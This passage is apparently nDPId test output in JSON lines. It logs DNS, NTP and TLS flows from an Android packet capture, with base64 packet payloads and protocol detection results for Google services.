oQXBhY2hlVHJhZmZpY1NlcnZlci84LjAuNiksIGh0dHAvMS4xIG5sYW1zMi1lZGdlLWJ4LTAwMy50cy5hcHBsZS5jb20gKEFwYWNoZVRyYWZmaWNTZXJ2ZXIvOC4wLjYpDQpDRE5VVUlEOiA0ZjE5MDZhNy0wZTI1LTQ3MmItODY4Yy0wMTA3NDNlMGViNGMtMTI4MDQzMDk4MQ0KWC1DYWNoZTogaGl0LWZyZXNoLCBoaXQtZnJlc2gNCkV0YWc6ICI0MWJhMDYwZWIxYzA4OThlMGE0YTBjY2EzNmE4Y2E5MSINCkFnZTogOTENCkNvbm5lY3Rpb246IGNsb3NlDQoNCjxIVE1MPjxIRUFEPjxUSVRMRT5TdWNjZXNzPC9USVRMRT48L0hFQUQ+PEJPRFk+U3VjY2VzczwvQk9EWT48L0hUTUw+Cg=="} +00428{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":231975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0efAAADQGAlYR\/TXJwKgCEABQ4+KuJAazRex7PYARAHWD6wAAAQEICnZI5Gb\/\/zL6"} +00428{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":232359,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SKJAAEAG56PAqAIQEf01yePiAFBF7Hs9riQGs4AQAVyC\/AAAAQEICv\/\/MwN2SORm"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"android.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1582454867244,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":35825,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":244479,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA+qTJAAEARDBvAqAIQwKgCAYvxADUAKg90oPQBAAABAAAAAAAABHRpbWUHYW5kcm9pZANjb20AAAEAAQ=="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"android.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1582454867244,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":35825,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"time.android.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":275043,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SKNAAEAG56LAqAIQEf01yePiAFBF7Hs9riQGtIAQAVyC8AAAAQEICv\/\/Mw52SORm"} +00428{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":278659,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SKRAAEAG56HAqAIQEf01yePiAFBF7Hs9riQGtIARAVyC7gAAAQEICv\/\/Mw92SORm"} +00529{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":284329,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"TGr2n\/YnxiwDYGpkCABFAAB+z3oAAEARJZPAqAIBwKgCEAA1i\/EAapnsoPSBgAABAAQAAAAABHRpbWUHYW5kcm9pZANjb20AAAEAAcAMAAEAAQAAARgABNjvIwjADAABAAEAAAEYAATY7yMAwAwAAQABAAABGAAE2O8jBMAMAAEAAQAAARgABNjvIww="} +00661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":91,"source":"android.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1582454867244,"flow_last_seen":1582454867284,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":42,"flow_max_l4_data_len":106,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":35825,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"time.android.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.35.8"}} +00429{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":312098,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0AAAAADQGfEYR\/TXJwKgCEABQ4+KuJAa0Rex7PoAQAHWDhAAAAQEICnZI5Lf\/\/zMP"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"android.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1582454867323,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.35.8","src_port":45863,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":323339,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"xiwDYGpkTGr2n\/YnCABFAABMoTdAAEAR2rnAqAIQ2O8jCLMnAHsAOGfAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOH81o7jEm7M"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"android.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1582454867323,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.35.8","src_port":45863,"dst_port":123,"l4_proto":"udp","ndpi": {"proto":"NTP.Google","breed":"Unrated","category":"System"}} +00458{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":358613,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"TGr2n\/YnxiwDYGpkCABFAABMa8oAAGcRKSfY7yMIwKgCEAB7sycAOKcPHAEA7AAAAAAAAAAMR09PR+H81tNW8KhI4fzWjuMSbszh\/NbTVvCoSeH81tNW8KhL"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"android.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1582454867637,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":34540,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":637290,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBqXVAAEARC9XAqAIQwKgCAYbsADUALQrUr3oBAAABAAAAAAAACGNsaWVudHMxBmdvb2dsZQNjb20AAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":95,"source":"android.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1582454867637,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":34540,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"clients1.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00465{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":639360,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRpSEAAEARUBnAqAIBwKgCEAA1huwAPTVyr3qBgAABAAEAAAAACGNsaWVudHMxBmdvb2dsZQNjb20AAAEAAcAMAAEAAQAAANoABNjvJng="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":96,"source":"android.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":2,"flow_first_seen":1582454867637,"flow_last_seen":1582454867639,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":34540,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"clients1.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"android.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1582454867688,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32974,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":688207,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8oxlAAEAG1YLAqAIQ2O8meIDOAbtPCpBsAAAAAKAC\/\/\/waQAAAgQFtAQCCAr\/\/zN1AAAAAAEDAwg="} +00440{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":702373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA840EAAHYGn1rY7yZ4wKgCEAG7gM7sufL\/TwqQbaAS6yANxQAAAgQFZAQCCAoG5BEl\/\/8zdQEDAwg="} +00427{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":703177,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0oxpAAEAG1YnAqAIQ2O8meIDOAbtPCpBt7LnzAIAQAVcmCAAAAQEICv\/\/M3kG5BEl"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"android.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1582454867723,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":54837,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":723627,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBqYtAAEARC7\/AqAIQwKgCAdY1ADUALYAStecBAAABAAAAAAAABHBsYXkKZ29vZ2xlYXBpcwNjb20AAAEAAQ=="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":100,"source":"android.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1582454867723,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":54837,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"play.googleapis.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00657{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":759068,"pkt_caplen":232,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":232,"pkt_l4_len":198,"pkt":"xiwDYGpkTGr2n\/YnCABFAADaoxtAAEAG1OLAqAIQ2O8meIDOAbtPCpBt7LnzAIAYAVcMzgAAAQEICv\/\/M4cG5BElFgMBAKEBAACdAwMRGw5cHdksc9heZfp3I+xA9Dx3FfWs\/ESCI9YfdinRawAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABY\/wEAAQAAAAAYABYAABNjbGllbnRzMS5nb29nbGUuY29tABcAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAALAAIBAAAKAAgABgAdABcAGA=="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"android.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":4,"flow_first_seen":1582454867688,"flow_last_seen":1582454867759,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":32,"flow_max_l4_data_len":198,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32974,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"clients1.google.com","ja3":"c60d01d600aacc2c04844595ce224279","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00466{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":761577,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRO4cAAEARubPAqAIBwKgCEAA11jUAPbDuteeBgAABAAEAAAAABHBsYXkKZ29vZ2xlYXBpcwNjb20AAAEAAcAMAAEAAQAAARgABKzZFEo="} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":102,"source":"android.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":2,"flow_first_seen":1582454867723,"flow_last_seen":1582454867761,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":54837,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"play.googleapis.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.20.74"}} +00428{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":772247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA044kAAHYGnxrY7yZ4wKgCEAG7gM7sufMATwqRE4AQAPAldAAAAQEICgbkEWz\/\/zOH"} +02331{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":788871,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+454AAHYGmXvY7yZ4wKgCEAG7gM7sufMATwqRE4AQAPBhXgAAAQEICgbkEXz\/\/zOHFgMDAFsCAABXAwNeUlhT+JSu0CzE6p\/I2\/gOP1A6Yws6UjVET1dOR1JEASCSHfJd41LVYRIobo4mn6bha35YI5pXY1xgIBtQkEQn5sArAAAPABcAAP8BAAEAAAsAAgEAFgMDDaMLAA2fAA2cAAlIMIIJRDCCCCygAwIBAgIRAO7eZWDNNcCvAgAAAABZcbcwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczETMBEGA1UEAxMKR1RTIENBIDFPMTAeFw0yMDAyMTIxMTQ3MTFaFw0yMDA1MDYxMTQ3MTFaMGYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgTExDMRUwEwYDVQQDDAwqLmdvb2dsZS5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATKjE9IuwUMNbIbCmiOS1XWI2yPFLanStLIADumajnPmHrED+4\/bPKa3HXecM4hPVHL8OgqwVYWveZsS6OdF9Pqo4IG2jCCBtYwDgYDVR0PAQH\/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB\/wQCMAAwHQYDVR0OBBYEFCRtN1AKArkz3KlGMpfhLYkaPFkYMB8GA1UdIwQYMBaAFJjR+G4Q68+b7GCfGJAboOt9Cf0rMGQGCCsGAQUFBwEBBFgwVjAnBggrBgEFBQcwAYYbaHR0cDovL29jc3AucGtpLmdvb2cvZ3RzMW8xMCsGCCsGAQUFBzAChh9odHRwOi8vcGtpLmdvb2cvZ3NyMi9HVFMxTzEuY3J0MIIEnQYDVR0RBIIElDCCBJCCDCouZ29vZ2xlLmNvbYINKi5hbmRyb2lkLmNvbYIWKi5hcHBlbmdpbmUuZ29vZ2xlLmNvbYISKi5jbG91ZC5nb29nbGUuY29tghgqLmNyb3dkc291cmNlLmdvb2dsZS5jb22CBiouZy5jb4IOKi5nY3AuZ3Z0Mi5jb22CESouZ2NwY2RuLmd2dDEuY29tggoqLmdncGh0LmNugg4qLmdrZWNuYXBwcy5jboIWKi5nb29nbGUtYW5hbHl0aWNzLmNvbYILKi5nb29nbGUuY2GCCyouZ29vZ2xlLmNsgg4qLmdvb2dsZS5jby5pboIOKi5nb29nbGUuY28uanCCDiouZ29vZ2xlLmNvLnVrgg8qLmdvb2dsZS5jb20uYXKCDyouZ29vZ2xlLmNvbS5hdYIPKi5nb29nbGUuY29tLmJygg8qLmdvb2dsZS5jb20uY2+CDyouZ29vZ2xlLmNvbS5teIIPKi5nb29nbGUuY29tLnRygg8qLmdvb2dsZS5jb20udm6CCyouZ29vZ2xlLmRlggsqLmdvb2dsZS5lc4ILKi5nb29nbGUuZnKCCyouZ29vZ2xlLmh1ggsqLmdvb2dsZS5pdIILKi5nb29nbGUubmyCCyouZ29vZ2xlLnBsggsqLmdvb2dsZS5wdIISKi5nb29nbGVhZGFwaXMuY29tgg8qLmdvb2dsZWFwaXMuY26CESouZ29vZ2xlY25hcHBzLmNughQqLmdvb2dsZWNvbW1lcmNlLmNvbYIRKi5nb29nbGV2aWRlby5jb22CDCouZ3N0YXRpYy5jboINKi5nc3RhdGljLmNvbYISKi5nc3RhdGljY25hcHBzLmNuggoqLmd2dDEuY29tggoqLmd2dDIuY29tghQqLm1ldHJpYy5nc3RhdGljLmNvbYIMKi51cmNoaW4uY29tghAqLnVybC5nb29nbGUuY29tghMqLndlYXI="} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":104,"source":"android.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1582454867688,"flow_last_seen":1582454867788,"flow_tot_l4_data_len":1792,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":298,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32974,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"clients1.google.com","ja3":"c60d01d600aacc2c04844595ce224279","ja3s":"b31c0b82752ea0e2c48b8ce46e9263e5","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"}} +02338{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":789038,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+458AAHYGmXrY7yZ4wKgCEAG7gM7sufiKTwqRE4AQAPCeCQAAAQEICgbkEXz\/\/zOHLmdrZWNuYXBwcy5jboIWKi55b3V0dWJlLW5vY29va2llLmNvbYINKi55b3V0dWJlLmNvbYIWKi55b3V0dWJlZWR1Y2F0aW9uLmNvbYIRKi55b3V0dWJla2lkcy5jb22CByoueXQuYmWCCyoueXRpbWcuY29tghphbmRyb2lkLmNsaWVudHMuZ29vZ2xlLmNvbYILYW5kcm9pZC5jb22CG2RldmVsb3Blci5hbmRyb2lkLmdvb2dsZS5jboIcZGV2ZWxvcGVycy5hbmRyb2lkLmdvb2dsZS5jboIEZy5jb4IIZ2dwaHQuY26CDGdrZWNuYXBwcy5jboIGZ29vLmdsghRnb29nbGUtYW5hbHl0aWNzLmNvbYIKZ29vZ2xlLmNvbYIPZ29vZ2xlY25hcHBzLmNughJnb29nbGVjb21tZXJjZS5jb22CGHNvdXJjZS5hbmRyb2lkLmdvb2dsZS5jboIKdXJjaGluLmNvbYIKd3d3Lmdvby5nbIIIeW91dHUuYmWCC3lvdXR1YmUuY29tghR5b3V0dWJlZWR1Y2F0aW9uLmNvbYIPeW91dHViZWtpZHMuY29tggV5dC5iZTAhBgNVHSAEGjAYMAgGBmeBDAECAjAMBgorBgEEAdZ5AgUDMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9jcmwucGtpLmdvb2cvR1RTMU8xLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1ALIeBcyLos2KIE6HZvkruYolIGdr2vpw57JJUy3vi5BeAAABcDlwaWcAAAQDAEYwRAIgPkDfmNQQtYk4PO65nKbFDPxrtuKj0LUnMBJA7dXsRIQCIEGeuacIhVOlrS+1iAVA0U0iyybUM0lG\/RPB\/3vh95L\/AHcAXqdz+d9WwOe1Nkh90EngMnqRmgyEoRIShBh1loFxRVgAAAFwOXBpeAAABAMASDBGAiEA\/aqZJ3\/UQPTU5w2ydUe+NIpSKGeWsTu9ETSgNqMyKQ0CIQCNTcmnSe+IFDSTDsIFaJSAF15KE5ZZWiPkZYaSiV0HpTANBgkqhkiG9w0BAQsFAAOCAQEAf9Q9aOGx44RDc80lasP1olu0dWIOJGY5YuCcfiy9u5dIiiKuSXtzOzfbHinsrRypZ\/SyVnGSiVNGW0zALKbptJsrk\/UwkVM5UMkrBXXd8OcIdDkc2mjMX3RWV2z+W1XBpLgvxXaDYJxRY33SZYn\/GVms0HRjU+vHV0jWAa0lnGb04ulB74lc8ikTRfDV0D5JnxBp3eCQIV6\/2zXyoWKf5\/L7HpkKZilrgNnjvtVtwvIglUNiWkFEhJDqrg7HjKhCi0ZfkaoPR1jWaWewiX8VRJPX\/C\/Z3PX6kK0TNwgehOJzcG6O45MHZMPb3MrHuPL141kYOvYkiBBMOFR7REu0DQAETjCCBEowggMyoAMCAQICDQHjtJqhjYqpgSVpULgwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTcwNjE1MDAwMDQyWhcNMjExMjE1MDAwMDQyWjBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BjPRdSLzdOc5EDvfrTdaSEbyc88jkx1uQ8xGYQ9njwp71ANEJNvBYCAnyqgvRJLAuE9n1gWJP4wnwt0d1WTHUv3TeGSghD2UawMw7IilA80a5gQSecLnYM53SA="} 